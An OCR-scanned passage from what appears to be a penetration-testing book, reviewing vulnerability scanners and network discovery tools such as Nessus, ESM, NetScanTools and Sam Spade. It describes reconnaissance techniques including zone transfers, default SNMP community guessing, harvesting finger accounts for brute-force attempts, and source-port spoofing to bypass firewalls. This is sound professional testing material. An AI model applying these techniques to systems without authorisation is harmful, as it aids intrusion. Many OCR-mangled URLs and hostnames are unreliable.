of policies for NT, UNIX, and Web servers. Each policy has different options selected from
the vulnerability checklist. The defaults are nice for someone who does not have a lot of
experience with the tool, but a more experienced user will develop his or her own policy.
Usually we start with Level 5 for each operating system, which is the highest level and
performs the most checks, and then we customize the policy from there.

Figure 11-5. Internet Scanner Select Policy screen
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Internet Scanner sends messages to the systems being scanned that a scan is being
performed. If you do not want this message to be sent you must edit the policy to suppress
the message. For Windows NT uncheck the Send Message box in NT Logon Sessions
under Common Settings (shown in . For UNIX delete the message in the
RWhod Message box under Common Settings.

Figure 11-6. Internet Scanner options under NT Logon Sessions
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Once the policy has been selected the session is ready for scanning. When the scan has
ended, you can view the vulnerabilities or generate a report. The report generation function
—iure 11-

offers several different options that can be useful.

shows some of the different

report options available. The report can be exported in several different formats. We have

had problems with reports exported to Microsoft Word format. HTML format is usually a

safe choice.

Figure 11-7. Internet Scanner Generate Reports screen
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11.6.3 Nessus

URL: wvmm.nessgs.ord

Client OS: UNIX (for server), UNIX, Windows 9x/NT (client)

Target OS: UNIX, Windows NT

Description: Most of the vulnerability-scanning tools we have described are very
expensive. If you are looking for a free tool, Nessus seems to be the tool of choice. Nessus
works on a client—server system. Currently, the server is available only for UNIX systems.
Nessus does have a Windows client and a Java client that can be used to control and
access the server.

Nessus can be a little more difficult to get running if you are not familiar with UNIX, but
once it is running it is relatively easy to use. It requires compiling four files on the UNIX
server. The installation instructions on the Nessus Web site are quite informative and easy
to follow. Even a person unfamiliar with UNIX should be able to install the tool using these
instructions. The FAQ section is also particularly helpful for troubleshooting problems you
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may encounter during installation.

Once the server piece is installed, the client configuration is very easy. The Windows client
installation simply requires launching a setup executable. Once the client is installed, you
enter the IP address of the Nessus server to enable the client to communicate with the
server. The client's GUI interface is easy to use. You select the modules to run and then
launch the scan. Nessus has a Disable Dangerous Checks feature that is helpful for
preventing potential problems during scanning. You can view the results from the client
GUI. The Nessus reports are easy to generate and offer many format choices.

Nessus performs a number of checks and is considered a top open-source security tool.
Currently, it is receiving tremendous support, and updates to the tool are posted frequently.
If the current level of support continues, Nessus will remain a top vulnerability scanner.

11.6.4 Symantec (Formerly Axent Technologies) NetRecon

URL: Wwww.symantec.com

Client OS: Windows NT
Target OS: UNIX, Windows NT, Netware

Description: Symantec acquired Axent Technologies and continues to support and
improve its NetRecon scanning product. NetRecon is another vulnerability scanner that has
been rapidly improving. It is one of the few network-based scanners that can scan Netware
systems. The tool also performs “progressive scanning,” whereby it can use information
found while scanning one system to scan another system. For example, if NetRecon
discovered a weak password on one system, it can try to use that password against the
next system it scans. The tool scans for many vulnerabilities and has an intuitive interface.
NetRecon also reports assumptions that help the user to qualify findings and eliminate
false positives.

11.6.5 Bindview HackerShield (bv-control for Internet Security)

URL: vvww.bindview.com/groducts/hackershield/index.html

Client OS: Windows NT

Target OS: UNIX, Windows 9x/NT
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11.7 Host-Based Scanners

11.7.1 Symantec (Formerly Axent Technologies) Enterprise Security Manager
(ESM)

URL: www.symantec.com

Client OS: Windows NT, UNIX, Netware, VMS
Target OS: Windows NT, UNIX, Netware, VMS

Description: Enterprise Security Manager (ESM) by Symantec (formerly Axent
Technologies) is one of the leading host-based scanners and is also an effective
configuration management tool. ESM installs a software agent on each test system and
performs checks from a system administrator's point of view. The agent communicates with
a manager station that records the data from the agent and directs what checks the agent
will perform. ESM has agents for almost every platform, including Windows NT, Netware,
many UNIX flavors, and VMS.

ESM consists of three pieces: the agent, the manager, and the console. Each piece can
exist on a separate system or all on the same box. Frequently, we deploy the manager and
console on our laptops and install the agent on the systems to be tested. The manager
consumes the most system resources and is therefore better to be kept off the system
being tested. ESM does not require a reboot when installed, and the agent runs at the
lowest priority so as to minimize the impact on the performance of the server.

ESM has several different default policies. Each policy performs a different battery of tests.
We usually run the most comprehensive policy, Phase 3:c Strict. Users can also customize
their own policies as well. ESM output is very easy to read. Each finding is presented along
with an explanation of the finding, the risk the finding causes to the network, and a
recommended fix. While the recommendation and risk may not be the exact solution you
are looking for, they provide a starting point for additional research or a suggestion on
which you can build.

To begin using ESM, you need to do some preliminary planning. First, you need to select a
system on which to load the manager. We like to make the manager a separate station
since it bears the majority of the resource utilization. Another thing to keep in mind is that


http://www.symantec.com/default.htm

the manager and agent do not have to be on the same operating system. A Windows NT
manager can have UNIX agents and vice versa. Once the manager is loaded you have to
install the console. The console provides the GUI interface to the manager and can
connect to multiple managers to centrally control all ESM activity. Fiéure 11-§ shows the
ESM console view. We normally load the console on the same system we install the

manager for our testing. Once the manager and console are loaded, you are ready to
install the agents. One thing to keep in mind when planning agent and manager locations
is that the manager and agents communicate via TCP ports 5600 and 5601. Therefore, if
there is a firewall or filtering router between the two systems, ports 5600 and 5601 must be
open between them.

Figure 11-8. Enterprise Security Manager Console view
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Loading the agent is easy. Insert the CD, find the directory with the name of your platform's
operating system, and launch the setup executable. ESM then guides you through the
installation. First, it prompts you for the type of install, full or agent only. Select agent only.
When prompted for the name of the manager, enter the host name of the station on which
you just installed the manager. ESM then attempts to register the agent with the manager.



At this point in the process many people run into problems. First, the agent needs to be
able to resolve the host name of the manager into an IP address and vice versa. If there is
no DNS entry for the manager or agent, the registration process will fail. If this happens
there are two things you can do to fix the problem. You can either create a DNS entry for
each host or enter the host in each system's host file (for NT, this file is under
WINNT/system32/drivers/etc/hosts; for UNIX, it's under /etc/hosts). Once you have
registered the host, check the console to see if the agent has been added under the
appropriate manager. Then repeat this process for each additional agent. There is a
Remote Install option for loading agents. At this writing we do not recommend remote
installation. Sometimes this option fails, and even when it is successful, the uninstall
process usually fails on hosts that have been installed remotely. Symantec is working on a
solution to this problem and hopefully it will be fixed in future versions.

After you have all your agents installed and registered, you are ready to run scans. We find
the easiest way to start a scan is to use the Run Policy wizard. The wizard guides you
through the process of selecting the domain, manager, agents, policy, and policy modules.
Again, we normally use policy Phase 3c: Strict. As shown in , Phase 3c checks
a number of areas including account integrity, backup integrity, file attributes, login

parameters, network integrity, object integrity, OS patches, password strength, registry,
startup files, system auditing, and user files.

Figure 11-9. Enterprise Security Manager Select Modules screen
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Once your scan has been configured and launched you will see policy run ID 1 under
Policy Runs. To view the status of the policy run, double click on the number of the run,
under the Policy Run heading. You can also view the progress of the run by selecting the
View Modules button on the Properties for Policy Run screen.

Once the run has completed you can view the results by either generating a report or by
clicking on the appropriate agent on the main screen of the ESM console. The results of

each module can be seen in the summary window. ESM lists the finding, information about
the finding, details explaining the finding, and a recommendation. displays
sample ESM output. In addition, you can generate reports by selecting an option from the

Report menu.

Figure 11-10. Enterprise Security Manager sample output
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11.8 Pentasafe VigilEnt

URL: www.pentasafe.com

Client OS: Windows NT, UNIX, AS400, Netware
Target OS: Windows NT, UNIX, AS400, Netware

Description: Pentasafe has been known for its AS400 host-based assessment tool.
Recently they have added functionality for Windows NT, UNIX, and Netware. The tool
functions similarly to Symantec's ESM. Pentasafe's VigilEnt NT agent has a nice feature:
instead of needing to be loaded on the system being tested, the NT agent can be loaded
on any system in the target domain under a domain administrator account and can run
queries against any domain system. In addition, Pentasafe's VigilEnt does offer an
integrated console to manage different agents (NT, UNIX, AS400). However, the reporting
features do not offer much information describing vulnerabilities nor provide
recommendations on how to fix the problem. Pentasafe is working to improve its
descriptions and recommendations, and future versions should have this functionality.

Pentasafe's VigilEnt also offers many features that can assist with system administration
across the enterprise. The products can be used to enforce policy and make configuration
changes across the NT domain and other agents. The integrated console enables system
administrators to monitor and maintain resources from one centralized station. Pentasafe
continues to improve its product lines and will be a major player in this market space.

| l@ve RuBoard
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11.9 Conclusion

There are a number of effective vulnerability scanners in the marketplace today. As an
educated security tester you need to remember two key pieces of information. First, select
a tool that is appropriate for your organization and meets your needs in the areas of
comprehensiveness, frequency of updates, speed, and types of operating systems and
applications tested. Second, realize that vulnerability scanners are not the silver bullets of
security testing. Vulnerability scanners are effective tools for helping to test systems and
networks, but they cannot replace comprehensive security testing by a professional tester.
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Chapter 12. Discovery Tools

Discovery tools are used to gather information about a target network or system. The tools
enable you to easily perform many otherwise manual processes, such as whois queries,
DNS zone transfers, SNMP queries, and other information-gathering processes. The tools
help you gather DNS records, contact information, network configuration information, host
information, and identify systems that are active on a network. The information you gather
will help you determine where a target is located and who is controlling it. All of this
information helps you build a picture of the environment you are testing. In [Chapters § and
, we discussed how discovery tools fit into the penetration-testing methodology. In this

chapter we describe some of the more popular discovery tools, explain how they work, and
provide tips for using them more effectively.
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12.1 WS_Ping ProPack

URL: www.ipswitch.com

Client OS: Windows 9x/NT
Target OS: TCP/IP networks
Classification: Discovery tool
Price: Less than $100

Description: WS_Ping ProPack serves as an excellent starting point for any penetration
test. WS_Ping ProPack provides an easy way to gather information about your target
network and gives you the base information needed to start assessing your target. The tool
runs on Windows 9x/NT/2000 and has an easy-to-use GUI. WS_Ping ProPack provides
whois, finger, ping, DNS, and SNMP information. In addition, you can use WS_Ping
ProPack to quickly ping an IP address range or host name.

Use: WS_Ping ProPack is easy to install. Simply double-click the setup file and follow the
installation instructions. WS_Ping ProPack is as easy to use as it is to install. You can see
in that WS_Ping ProPack offers the following options as tabs near the top of
the window: Info, Time, HTML, Ping, TraceRoute, Lookup, Finger, Whois, LDAP, Quote,
Scan, SNMP, WinNet, Throughput, and About.

Figure 12-1. WS_Ping ProPack Info screen
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Info provides preliminary information about a target host name or IP address (see its
screen in ). This is a good place to start when beginning the engagement. Info
basically runs a whois query and DNS lookup on the host name or IP addresses you enter

into the tool. It also pings the host to verify connectivity. Keep in mind that if you are using
a host name, you need to enter the fully qualified domain name (such as

Navigator.kelvinsky.coni); otherwise, the query will fail.

Time is a feature that we do not use often in testing.

HTML basically provides you with the same functionality as the View Source option in
Microsoft Internet Explorer. It issues a GET request to the Web server and returns source
information. While the functionality is nearly the same as that in Internet Explorer, it's nice
to have this function integrated into a discovery tool.

Ping provides a nice GUI front end, shown in Fiéure 12—2, to the Ping utility. You can easily
adjust the number of packets sent and the size of the packet, as well as a delay and
timeout. Ping is one way we attempt to find out whether a host is alive (functioning and
accessible on the network). All Ping really tells us is whether the host responds to ICMP
ECHO requests. If the target is blocking ICMP ECHO requests at the border router or
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firewall, Ping either won't return any information or will return a “host/destination
unreachable” message. Ping is useful, but usually we want to ping a range of hosts.

WS _Ping ProPack does offer this functionality, but not on the Ping menu. The Scan utility
(explained below) enables you to ping ranges of IP addresses.

Figure 12-2. WS_Ping ProPack Ping function
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TraceRoute traces the path a packet travels to the target. TraceRoute is useful for
determining how far away a target is located and whether the packet passes through any
other hosts on the way to the target. Many times we can build a pretty accurate network
map by using the TraceRoute results. If the target or any of the systems along the way are
blocking traceroutes, the tool may return a “destination unreachable” message. Also, if a
system in the path is configured to not respond to traceroutes, the tool will list a number for
the hop but will not return any information such as the IP address. The WS_Ping ProPack
TraceRoute utility displayed in provides a nice GUI interface for the
TraceRoute command and enables you to adjust timeouts and the maximum hopcount
(how many routers and hosts the packet will travel through in its journey to the target
before it gives up). Also, you can use the Resolve Addresses option to determine the IP
address from the host name and vice versa.



Figure 12-3. WS_Ping ProPack TraceRoute
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Lookup offers a lot of functionality by performing DNS lookups. demonstrates
a DNS lookup on pwww.klevinsky.com. By selecting among the various query types in the
Query Type drop-down box (shown in ) you can discover many different pieces

of information, including host information (CPU and operating system) and malil

information; resolve an address; determine the name servers; perform a zone transfer; and
gather additional DNS information. Keep in mind that you need a host name or IP address
of a DNS server in the DNS Server box for this utility to work properly. You can use the
stack option in place of a name server, but all you will be able to do is resolve IP addresses
and host names. You can start by using the DNS server your own system normally uses
and then enter the target's name server as you gather that information.

Figure 12-4. WS_Ping ProPack Lookup
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Figure 12-5. Query Type drop-down box in WS_Ping ProPack
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Normally, when we use the tool we start by resolving a host name or IP address and then
gather the host information (HINFO), mail information (MX), and name servers (NS) for the



target. Once we have the name servers, we enter the primary DNS server into the DNS
Server box. Once this is complete, we can perform the zone transfer (referred to as “zone
listing” by the tool) using the ZONE option. Zone transfers can yield information about
additional hosts in the domain and other potential targets. Be sure to try the zone transfer
on all name servers listed for the domain because often one server restricts zone transfers
while another does not. Zone transfers can consume significant resources on a name
server, and therefore the process may border on illegality. Therefore, make sure you are
authorized to perform the zone transfer before attempting to use this function.

Finger provides information about the users who operate on the target server. You could
just use the finger command on the command line, but while you have the tool open you
may want to take advantage of the GUI. In order to get any information from the WS_Ping
ProPack Finger utility, the finger service needs to be running on the target host. Normally
we do not attempt to finger a host until we have determined it is likely the finger service is
running. If we learn that port 79 is open on the host during our port scans, we can be fairly
sure finger is running on the host. Once we learn this information, we perform a finger
against the target to determine whether any users are on the system. We can then use
these user accounts as potential targets for brute force guessing or other exploits.
Remember you need to use a fully qualified domain name such as

Larget@targetnetwork.corr or use the IP address.

Whois provides useful contact information about a target domain, such as mailing

address, phone number, and e-mail address. To use the Whois function you need to
specify a whois server in the server block. Several default whois servers are listed in the

tool: [s.internic.nef (users registered with Internic), pvhois.internic.nef, pic.ddn.mil (military

addresses), whois.nic.mil, whois.arin.nef (American registry), and hois.ripe.nef (European

addresses). If you have a target domain that does not fall into one of the default categories,
you will need to determine an appropriate whois server for that address space. If you do
not know the complete host name you can enter part of the name followed by one or more

dots (.). This performs a wild-card search for any entry matching the text or name you
provided. Fiéure 12—& shows a sample whois query on klevinsky.com|.

Figure 12-6. Using the Whois function in WS_Ping ProPack
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LDAP enables you to query an LDAP directory for useful information on a target network.
The target network must be using an LDAP directory service. If the target is not using
LDAP directory services, you can skip this tab. If the target is using an LDAP-compliant
directory server, you can build a query to find mail information, organizational names,
departments, or any other information published in the directory.

To use this utility, enter the fully qualified domain hame of the target LDAP server in the
LDAP Host box. Then use the three boxes below it to build your query. If the target has an
LDAP directory, this can be a useful tool for selecting target accounts and systems. There
are some signs to help you guess whether the target is using an LDAP directory.
Generally, ports 389 and 636 are associated with LDAP over TLS and SSL, respectively.

Quote is another feature we rarely use during penetration testing.

Scan is used to scan a network range or host for services or just to ping to see if the
host(s) respond. In the Scan screen, displayed in , enter the start and end
addresses in the appropriate boxes. Next select the services you wish to scan for by
checking the appropriate boxes. Conversely, you can select a port range to scan by
checking the Scan Ports option and specifying a range of ports. The utility offers an option
for slow networks that enables you to increase the timeouts to account for network latency.
While this is a relatively easy-to-use port scanner, it does not offer much flexibility and is
not as fast as other port scanners. You cannot specify a host list of individual systems.



Additionally, you cannot build a highly customized port list other than specifying a range of
ports. Because of these reasons, we normally use WS_Ping ProPack only for ping
scanning or ping sweeping. Ping sweeps involve pinging a range of addresses in an
attempt to find active hosts. Some other port scanners are more configurable, offerin
more options and flexibility. (Port scanners are covered in greater detail in Chaéter 12.)

Figure 12-7. WS_Ping ProPack Scan function
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The SNMP utility can be used to retrieve valuable information about a host or target
network. SNMP is used to manage network devices. If SNMP has not been implemented
securely, attackers can exploit this service and gather information that will help them plan
future exploits against the target. By exploiting SNMP, we can learn information about the
system such as the name of the device and the person responsible for managing it, the
type and configuration of the network interface, and IP route information. The target host
has to support SNMP, and we need to know the community string (password). Generally,
UDP ports 161 and 162 are associated with SNMP. In addition, we often find that some
system administrators do not change the default community string from “public” to a unique
name. In some instances the administrator may allow write access to the public community
name, in which case you would be able to manipulate the SNMP information and



configuration. If the administrator has changed the name to a private one you will have to
attempt to guess the new string.

To use the SNMP utility you first have to select the SNMP tab, shown in . Next
enter the IP address of the target in the Address box. Right below the address box is the
Community box; use “public” unless “public” did not work previously or you know the
administrator changed the community name to a private name. If you know the private
name, enter it in the box; otherwise, you will need to employ educated guessing. Next, you
need to specify what information you want to retrieve. By clicking the radio button near the
What box you can select the types of information you want to gather. shows
the options available when the What button has been selected. We commonly select mib,
or mgmt information, for our purposes and select Get All Subitems to retrieve all mib
information. All information the tool can retrieve is displayed in the output box at the bottom
of the screen. If you get an error message, it could mean the host does not support SNMP,
you have the wrong community name, or there are other restrictions placed on the SNMP
service, such as access control lists. In these cases, try guessing a few different
community names before giving up.

Figure 12-8. WS_Ping ProPack SNMP screen
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WinNet can be used to scan the network on which your system resides for Windows
network resource information. This includes information such as shared resources,
printers, open shares, domain names, and so on. To use WinNet simply select the type of
information you are looking for from the drop-down box and select Start. If you are looking
only for specific information, select it from the drop-down list; otherwise, select All to
retrieve all available information.

Throughput is another feature we rarely use during penetration testing.

About provides the normal licensing and vendor information, but in addition it provides
information concerning the local host. So if you have any questions about your domain
name, available hard drive space, IP information, or Winsock information, just access the
About utility and it can provide you with some information on the subject.

Benefits: WS_Ping ProPack has been a tremendous resource to us on engagements,
especially in the early discovery phase of testing. The tool is quick at what it does, and it
integrates a lot of functionality into one interface. We use WS_Ping ProPack to gather
initial DNS information with the Lookup and Whois utilities. The Scan option is useful for
performing ping sweeps, even though Rhino9 Pinger may be faster. We normally use other
scanners for port scanning due to the limitations and lack of flexibility in WS_Ping
ProPack's scanner. However, it is convenient to have the Scan option available within the
tool to quickly scan for a port that you may want to check while gathering other information
with the tool. Even though the tool may not be the best at providing the functionality it
offers in each of its options, the convenience of having the capability readily available
within one integrated tool is nice. One of the greatest benefits of WS_Ping ProPack is that
the help function is excellent. Help on any option provides easy-to-follow, step-by-step
directions and examples of tool output. Finally, the tool is inexpensive, costing less than
$100.

Con: We normally use other port scanners for detailed, surgical port scans since
WS_Ping ProPack is easy to detect and may not be as flexible as some of the more
advanced scanners.

| |l@ve RuBoard
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12.2 NetScanTools

URL: www.nwpsw.comJ

Client OS: Windows 9x/NT/2000
Target OS: TCP/IP networks
Classification: Discovery tool
Price: Less than $50

Description: NetScanTools is another excellent discovery tool similar to WS_Ping
ProPack. NetScanTools provides a nice GUI and enables you to probe for ping, SNMP,
ports, DNS, and other discovery information. NetScanTools operates on Windows
NT/9x/2000 and can be purchased for under $50.

Use: NetScanTools is another comprehensive discovery tool. It provides much of the
same functionality as WS_Ping ProPack. NetScanTools provides the following options:
Name Server Lookup, Finger, Ping, Trace Route, Whois, NetScanner, TCP Term, Daytime,
Quote, Character Generator, Echo, Time Sync, IDENT Server, Database Tests, and
Winsock Info.

Name Server Lookup offers a lot of functionality through DNS lookups, including DNS
information, mail server information, zone transfers, and more. displays the
Name Server Lookup tab. Start by entering the host's fully qualified domain name, IP
address, or target domain name in the Hostname, Domain Name or IP Address box. If you

enter only this information, you can perform only a simple query that resolves the host
name or IP address. displays sample output from a simple query of

Wwww.klevinsky.com.

Figure 12-9. NetScanTools Name Server Lookup screen
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To use the more advanced options select the A Q Setup button for an advanced query

setup. Under Advanced Query Options, you can select several options under Query Type
(see ). In the Current Server box, enter the IP address of a valid DNS server.

You can start by using your name server and then enter the target's name server after you

gather that information. Normally when we use the tool we start by resolving a host name
or IP address and gather the host information (HINFO), mail information (MX), and name
servers (NS) for the target. Once we have the name servers for the target we enter the
primary DNS server into the Current Server box. Then we can perform the zone transfer
(referred to as “List Domain” by the tool) using the List Domain radio button on the Name
Server Lookup main page. Zone transfers can yield information about additional hosts in
the domain and other target information. Be sure to try the zone transfer on all name
servers listed for the domain because often one server will restrict zone transfers while
another will yield DNS records. Also, check the Verbose Mode option so that the tool

displays all the steps it performs and the information it finds. If you do not want to see all
this information, uncheck the Verbose Mode box.

Figure 12-10. NetScanTools Advanced Query Options
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Finger provides information about the users who operate on the server. In order to get any
information from the Finger utility, the finger service needs to be running on the target host.
Finger is not used much any more, but sometimes a system administrator forgets to
disable it. Therefore, we do not attempt to finger a host until after we have determined it is
likely the finger service is running. If we learn that port 79 is open on the host during our
port scans, we can be pretty sure finger is running. When you perform a finger query you

need to remember to use a fully qualified domain name such as Larget@targetnetwork.corr‘
or the IP address. We can use the finger information for selecting accounts for brute force
and password guessing attacks.

Ping provides a nice GUI, shown in , for the Ping command. The Setup

button enables you to easily adjust the number and size of the packet as well as a delay
and timeout. AutoPing can be used to ping a list of addresses contained in a text file. All
Ping really tells us is whether the host responds to an ICMP ECHO request. If a target is
blocking ping at the border router or firewall, it won't tell you anything or will return a
“host/destination unreachable” message. Remember to check the box for the Resolve IP
addresses to host names option to resolve the name of the target host you are pinging.
Keep in mind, however, that your scan will take longer if you resolve host names. Weigh
the utility of retrieving the host name against the need for speed if you scan using the
Resolve option.
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Figure 12-11. NetScanTools Ping function
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Trace Route shows the path a packet travels to the target. Trace Route is useful for

determining how far away a target is and whether any other hosts are passed through on

the way. In addition, Trace Route's results can be useful for identifying potential routers
and firewalls. The trace results may also show segmentation in a network. The Setup

button of this utility enables you to adjust timeouts and maximum hopcounts (how many

routers and hosts the packet travels through in its journey to the target). Also, you can use

the Resolve IP addresses option to determine the IP address or host name from the other.

Again, resolving host names will cause your trace to take longer to complete. If time is not

an issue, resolve the names. The more information you have about the target network the

better. Using the information from the traceroutes we can build a network map that can be

used to refine the testing strategy. shows a sample traceroute using

NetScanTools.

Figure 12-12. NetScanTools Trace Route screen
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Whois provides useful contact information about a target domain, such as mailing

address, phone number, and e-mail address. Normally, when using the Whois utility, you
need to specify a whois server. There are many whois servers on the Internet, and at times
picking the correct one can be time consuming. NetScanTools has a “smart whois” function
through which it will attempt to locate and use the correct whois server for your query. In
addition, you can enter “help” into the Enter Query box and select Query to receive more
information on what whois server to use. If you do not know the complete host name you
can enter part of the name followed by one or more dots (.). This entry performs a wild-card
search for anything matching the partial name you provided. shows an
example of a whois query using the trailing dots.) Otherwise, enter the name of a target

domain, host, or company and select the Query button. This query returns contact
information, name servers, and other information that can be used to help devise an attack.

Figure 12-13. NetScanTools Whois utility
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NetScanner can be used to perform a ping sweep of an IP address range or to ping an IP
range for a selected port. If we find very few target hosts respond to a regular ICMP ping,
we can select a port number in the Port Name/No. box to perform a TCP ping. If the host
uses the selected port, it should respond to the TCP ping. Port 80 is usually an excellent
choice for the target port since most hosts have it open for HTTP.

NetScanTools provides a lot of options within the NetScanner utility. First you can enter
your target host range in the Start IP and End IP boxes. The Setup button to the right of the
Start IP and End IP boxes can be used to specify timeouts, packet size, fragmentation or
no fragmentation, maximum hopcount, and retries. If you use the Verify hosts file IPs
button, NetScanner will attempt to ping each IP address in your system's /etc/hosts file.
You could use this option and edit your /etc/hosts file to ping a range that could not easily
be defined with the Start IP and End IP address boxes. If you do use this method, be sure
to return your /etc/hosts file back to its original configuration when you are done.

The Whois Setup button enables you to choose an appropriate whois server and to set the
option to use a proxy server if you need to use one to access the Internet. (See the
paragraph above on the Whois utility for help in choosing an appropriate whois server.) If
you plan to use the Whois utility within NetScanner, be sure to check the Enable Smart
Whois or Enable Whois Queries boxes below the Whois Setup button. If you want to




resolve the IP addresses in your range to host names, check the Translate IPs to Host
Names option. While your scan will take longer when you are resolving host names, the
added information can be useful. If you have the time, translate the host names.

The Ignore host/net unreachable responses option is very important if you plan to use the
TCP ping option. If you find the target host or network has disabled ping responses (ICMP
echo reply) and you want to use the TCP port check to find target hosts, you need to check
the Ignore host/net unreachable responses box. If you do not check this option, the tool will
attempt to ping the target first, and if the target does not respond, the tool will skip the TCP
port check. Keep in mind that you are not limited to the ports listed in the Port Name/No.
drop-down box. You can enter a port number in the box and the tool will attempt a port
check using that port. Fiéure 12—12] demonstrates the use of the TCP port check to identify
hosts not responding to ICMP.

Figure 12-14. NetScanTools NetScanner screen
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TCP Term can be used for banner grabbing. Banner grabbing is the process of capturing
the banner that a service displays when it receives incoming connections. For instance,
services such as FTP and telnet often have a banner that states “Welcome,” provides
version information, and offers a login prompt. This information can be useful in building an



attack. shows the TCP Term interface.

Figure 12-15. NetScanTools TCP Term
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To use the TCP Term utility, enter the target IP address or host name in the Target
Hostname or IP address window. Select, or enter, the desired port name or number to
connect to in the Target Port Name/No. drop-down box. Next, click on Connect and wait for
the tool to return the banner information or the error message if the connection was
refused. A nice feature TCP Term includes is the ability to specify a different source port.
For instance, many target networks' firewalls permit only traffic originating from specific
source ports to connect to a particular service. This is done to keep other tools or hacks
from directly connecting to the service through a different port. Using the Source Port
Name/No. box you can specify the source port the service should be using to connect to
the target service. To specify a source port, uncheck the Any box and either select a port
from the drop-down list or enter your own port in the box. Ports 80 (HTTP) and 53 (DNS)
are usually good choices for bypassing packet-filtering routers and firewalls.

Daytime, Quote, Character Generator, Echo, and Time Sync are features we do not
often use during penetration testing.




IDENT Server is sometimes required by target hosts when you use finger. Using the
IDENT Server you can configure the information you provide to the target host.
Additionally, you can log the IDENT Server's activity. IDENT Server is not a feature that we
commonly use during penetration testing. However, it can be useful when trying to hide
your identity during testing. By configuring the IDENT Server with information similar to the
domain you are targeting, you can somewhat hide your real identity.

Database Tests is another tool that we do not use often. This utility tests your Winsock's
TCP and UDP protocols database translation ability.

Winsock Info returns your current Winsock information.

Benefits: NetScanTools includes a lot of functionality in one tool. It offers tremendous
utility and provides the capability to perform almost all steps in the discovery phase with
this one tool. We like to use NetScanTools to gather DNS information, perform zone
transfers, and conduct some limited port scans. While we prefer Nmap as the port scanner
of choice, NetScanTools is an excellent scanner for the NT platform. The NetScanner
function provides flexibility in performing port scans. The ability to specify source ports is
also a major benefit.

Cons: While NetScanTools is a useful tool, it does have some drawbacks. First, the help

utility is not as robust as some of the other tools. The descriptions of each area of the tool

leave much to be desired, and no sample output is provided. Additionally, the port scanner
allows you to scan only one port at a time.

| |@ve RuBoard
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12.3 Sam Spade

URL: www.samsgade.ord

Client OS: Windows 9x/NT/2000

Target OS: TCP/IP networks
Classification: Discovery tool
Price: Free

Description: Sam Spade is a useful tool that can assist with the discovery phase of
penetration testing. While most of the functionality Sam Spade provides can be performed
from the command line, Sam Spade provides a consolidated GUI that is easy to use. Sam
Spade provides much of the same functionality as WS_Ping ProPack and NetScanTools
and it offers some additional options such as crawling and mirroring a Web site. Sam
Spade runs on Windows 9x/NT/2000. It provides an intuitive GUI and integrates a lot of
functionality into one tool. Sam Spade can perform whois queries, pings, DNS Dig
(advanced DNS request), traceroute, finger, zone transfers, SMTP mail relay checking, and
Web site crawling and mirroring.

Use: Sam Spade is pretty self-explanatory. The main tool bar provides shortcuts for the
majority of functions. However, some of the additional functions, such as zone transfers,
can be accessed only through the Tools menu. If you like right mouse button functionality,
you are in luck—Sam Spade offers many options and shortcuts through the use of the right
mouse button. When using the tool, try exploring the right mouse button. We think you'll
find the shortcuts save time and make your life easier.

Before you start using Sam Spade, you should configure your options. This is a very
important step because if you do not set up your options correctly, you cannot perform
zone transfers nor access other functions. Remember, if you try to access the zone
transfer function from the menu and it is grayed out and unavailable, you probably forgot to
configure your options. So, save yourself some headaches and configure the options
before you start using the tool. To configure your options select Options from the Edit
menu. shows the Advanced options tab where you can enable zone

transfers, active probing, and relay checking.


http://www.samspade.org/default.htm

Figure 12-16. Sam Spade Advanced options screen
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Once you have configured your options you are ready to begin using Sam Spade. Start by
exploring the input fields on the main screen and determining the information you need to
enter in each field. First, enter the domain name, IP address, or company name of the
target in the upper left window. Next, you need to enter a DNS server in the .net .12.1 box.
Normally start with your default name server. The Telephone drop-down box, shown in
, enables you to select a whois server for performing whois queries. Magic is a
good whois server to start with since it will select the appropriate whois server for you.
Once you have these boxes and options filled in, you are ready to start using the tool.

Figure 12-17. Sam Spade Telephone drop-down box for selecting a whois server
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To the right of the top input field you will find a row of radio buttons. We find these buttons
easier to use than the pull-down menus and therefore explain the tool using the radio
buttons. However, you can access each function that the radio buttons provide through the
pull-down menus. So if you prefer the menus, explore a little on your own. The names of
the functions are the same, and the explanations and techniques work just as well no
matter which way you access them. Below we explain the functions of the tool, starting
from the left radio button and working toward the right of the screen.

Ping, accessed through the first button (the green and black sphere), enables you to ping
the target. You can specify the number of ping attempts you want the tool to perform each
time you select the Ping option by using the up and down arrows on the left bottom box.
The default number of ping attempts is 10; we recommend setting this value to 3 unless
you are not worried about someone detecting your activity. Sometimes a single ping may
fail due to the system or network being busy, thus yielding inaccurate results. Three pings
should be sufficient to generate accurate test results without generating enough activity to
significantly increase the chance of detection. provides sample output from a
ping of lwww.klevinsky.com.
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Figure 12-18. Sample Ping output in Sam Spade
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DNS information is provided by using the next button, the .net .12.1 button. When you

select this option, the tool performs a DNS lookup and delivers name server, contact, and
other useful information. provides sample DNS output.

Figure 12-19. Sample DNS output in Sam Spade
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The red phone activates the Whois option. To perform whois queries you need to specify a
whois server in the red phone drop-down box. Several default whois servers are listed:

[s.internic.nef (users reqgistered with Internic), ihois.internic.nef, pic.ddn.mil (military

addresses), whois.nic.mil, whois.arin.nef (American registry), and yhois.ripe.nef (European

addresses). If you have a target domain that does not fall into one of the default categories,
you will need to determine an appropriate whois server for that address space. Magic will
help locate the appropriate whois server for your domain. Whois queries return contact
information, IP blocks, addresses, name servers, and other information that you can use to
devise an attack. Once you have found the name server for the target, you can add this
server as your name server input for advanced queries. In you can see the
options available when you right-click on the name server. Try right-clicking on the new

name server in the output window and select Copy to nameserver. You will need to use the
target name server to perform zone transfers and other advanced DNS functions.

Figure 12-20. Right-clicking on the name server in Sam Spade
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The IP Block icon is used for obtaining the IP blocks of a target address space. When you
specify a domain name or IP address, the tool queries DNS servers to find the IP blocks
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can now be regl
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that contain that name or address. This function usually returns the Class A, B, C, or

subnetted IP blocks owned by the target. Sometimes it can be difficult to find the IP block if
the Internet service provider does not list the blocks owned by each of its customers. Also,

you need to keep in mind that some companies have several domain names and may have
IP blocks registered under each domain name. So be persistent and do not
IP block you find. Try a few domain names and see if you get better results.

displays sample IP block information.

Figure 12-21. IP block information in Sam Spade
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The Dig shovel icon provides you with the capability to dig on an address or domain name.
A dig is essentially an advanced DNS query. It requests all DNS records, including host
information, domain information, services, mail information, geographic locations, and
much more. Dig gives you a lot of information you may not use, but you'll know you looked
for as much as you could. Eigure 12-27 provides sample Dig output.

Figure 12-22. Dig output in Sam Spade
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The connected dots icon accesses the Traceroute function. Traceroute shows the path a
packet travels to the target. Traceroute is useful in determining how far away a target is
located and whether any other hosts are passed through on the way to the target. Many
times we can build a fairly accurate network map using Traceroute results and determine
whether common IP addresses may be routers or firewalls. Although it is not readily
